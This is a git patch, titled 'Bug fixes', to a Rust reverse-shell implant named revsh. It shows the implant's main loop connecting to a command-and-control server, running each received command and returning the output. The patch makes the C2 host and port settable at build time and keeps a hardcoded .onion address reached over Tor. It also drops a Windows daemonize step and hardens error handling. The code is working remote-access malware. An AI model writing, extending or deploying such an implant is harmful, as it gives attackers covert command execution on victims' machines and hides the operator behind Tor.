From 9f4d4b8b613a74e697da858838c203b07b7b5739 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sivert=20V=2E=20S=C3=A6ther?= <git@sivert.pw>
Date: Fri, 26 Sep 2025 16:04:21 +0200
Subject: [PATCH] Bug fixes

---
 Cargo.lock       | 10 ----------
 Cargo.toml       |  1 -
 src/bin/revsh.rs | 39 +++++++++++++++++++--------------------
 src/tor.rs       | 14 ++++++++++----
 4 files changed, 29 insertions(+), 35 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 46c6cf3..7492264 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -838,15 +838,6 @@ dependencies = [
  "syn 2.0.106",
 ]
 
-[[package]]
-name = "daemonize"
-version = "0.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ab8bfdaacb3c887a54d41bdf48d3af8873b3f5566469f8ba21b92057509f116e"
-dependencies = [
- "libc",
-]
-
 [[package]]
 name = "darling"
 version = "0.14.4"
@@ -2936,7 +2927,6 @@ version = "0.1.0"
 dependencies = [
  "arti-client",
  "clap",
- "daemonize",
  "log",
  "openssl",
  "pretty_env_logger",
diff --git a/Cargo.toml b/Cargo.toml
index b09e988..d209e0b 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -9,7 +9,6 @@ openssl = { version = "0.10.73", features = ["vendored"] }
 clap = { version = "4.5.48", features = ["derive"] }
 tokio = { version = "1.47.1", features = ["full"] }
 pretty_env_logger = "0.5.0"
-daemonize = "0.5.0"
 log = "0.4.28"
 
 [profile.release]
diff --git a/src/bin/revsh.rs b/src/bin/revsh.rs
index 35e6cd3..ead1c31 100644
--- a/src/bin/revsh.rs
+++ b/src/bin/revsh.rs
@@ -3,27 +3,21 @@
 use tokio::io::{AsyncBufReadExt, AsyncWriteExt, BufReader};
 use std::{thread, time::Duration};
 use revsh::{Shell, connect};
-use daemonize::Daemonize;
 
-const WAIT: Duration = Duration::from_millis(100);
+const WAIT: Duration = Duration::from_millis(300);
 
 #[tokio::main]
 async fn main() {
     if cfg!(debug_assertions) {
         unsafe { std::env::set_var("RUST_LOG", "trace,mio=debug") };
         pretty_env_logger::init();
-    } else if cfg!(windows) {
-        let daemonize = Daemonize::new();
-        if let Err(err) = daemonize.start() {
-            eprintln!("{err:?}");
-        }
     }
     info!("Entering main loop");
     loop {
         if let Err(err) = pwnd().await {
-            debug!("{err}");
+            error!("{err}");
         } else {
-            error!("Main loop returned success... This should never happen!");
+            error!("C2 connection closed!");
         }
         thread::sleep(WAIT);
     }
@@ -34,26 +28,31 @@ async fn pwnd() -> std::io::Result<()> {
     let mut stream = connect().await?;
     let (read, mut write) = stream.split();
     let mut read = BufReader::new(read);
-    info!("Connected to C2!");
-    write.write_all("$ ".as_bytes()).await.unwrap();
-    write.flush().await.unwrap();
+    info!("Connecting to C2!");
+    write.write_all("$ ".as_bytes()).await?;
+    write.flush().await?;
     let mut shell = Shell::default();
     let mut input = String::new();
     while let Ok(_len) = read.read_line(&mut input).await {
         input = input.replace('\n', "");
+        if input == "" { break; }
         if cfg!(debug_assertions) {
             debug!("Running command: {input:?}");
         }
         let mut parts = input.split(' ');
-        let mut out = shell.exec(
+        match shell.exec(
             parts.next().unwrap(), Some(parts.collect()), None
-        ).await.unwrap();
-        let mut buf: Vec<u8> = vec![];
-        buf.append(&mut out.stdout);
-        buf.append(&mut out.stderr);
-        buf.append(&mut "\n$ ".as_bytes().to_vec());
-        write.write_all(&buf).await.unwrap();
-        write.flush().await.unwrap();
+        ).await {
+            Err(err) => write.write_all(&format!("{err}").as_bytes().to_vec()).await?,
+            Ok(mut out) => {
+                let mut buf: Vec<u8> = vec![];
+                buf.append(&mut out.stdout);
+                buf.append(&mut out.stderr);
+                buf.append(&mut "\n$ ".as_bytes().to_vec());
+                write.write_all(&buf).await?;
+                write.flush().await?;
+            },
+        };
         input.clear();
     }
     Ok(())
diff --git a/src/tor.rs b/src/tor.rs
index 5a08563..1351ba6 100644
--- a/src/tor.rs
+++ b/src/tor.rs
@@ -6,9 +6,9 @@ use tokio::net::TcpStream;
 #[inline]
 #[cfg(not(feature = "tor"))]
 pub async fn connect() -> std::io::Result<TcpStream> {
-    static CNC: &str = "127.0.0.1:1337";
+    let cnc: String = std::option_env!("LHOST").unwrap_or("127.0.0.1").to_owned() + ":" + std::option_env!("LPORT").unwrap_or("1337");
     let sock = tokio::net::TcpSocket::new_v4()?;
-    let stream = sock.connect(CNC.parse().unwrap()).await?;
+    let stream = sock.connect(cnc.parse().unwrap()).await?;
     stream.set_nodelay(true)?;
     Ok(stream)
 }
@@ -17,14 +17,20 @@ pub async fn connect() -> std::io::Result<TcpStream> {
 #[cfg(feature = "tor")]
 pub async fn connect() -> std::io::Result<DataStream> {
     use arti_client::{config::TorClientConfigBuilder, TorClient};
-    static CNC: &str = "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion";
+    static CNC: &str = match std::option_env!("LHOST") {
+        None => "revshell63sdjbqiq4avanhqbthgxoostbaitm5e53s37iu7xhlw2uqd.onion",
+        Some(host) => host,
+    };
     let config = {
         let mut conf = TorClientConfigBuilder::default();
         conf.address_filter().allow_onion_addrs(true);
         conf.build().unwrap()
     };
     let tor_client = TorClient::create_bootstrapped(config).await.unwrap();
-    match tor_client.connect((CNC, 1337)).await {
+    match tor_client.connect((CNC, match std::option_env!("LPORT") {
+        Some(port) => port.parse().unwrap(),
+        None => 1337,
+    })).await {
         Err(err) => Err(std::io::Error::new(std::io::ErrorKind::Other, err)),
         Ok(stream) => Ok(stream),
     }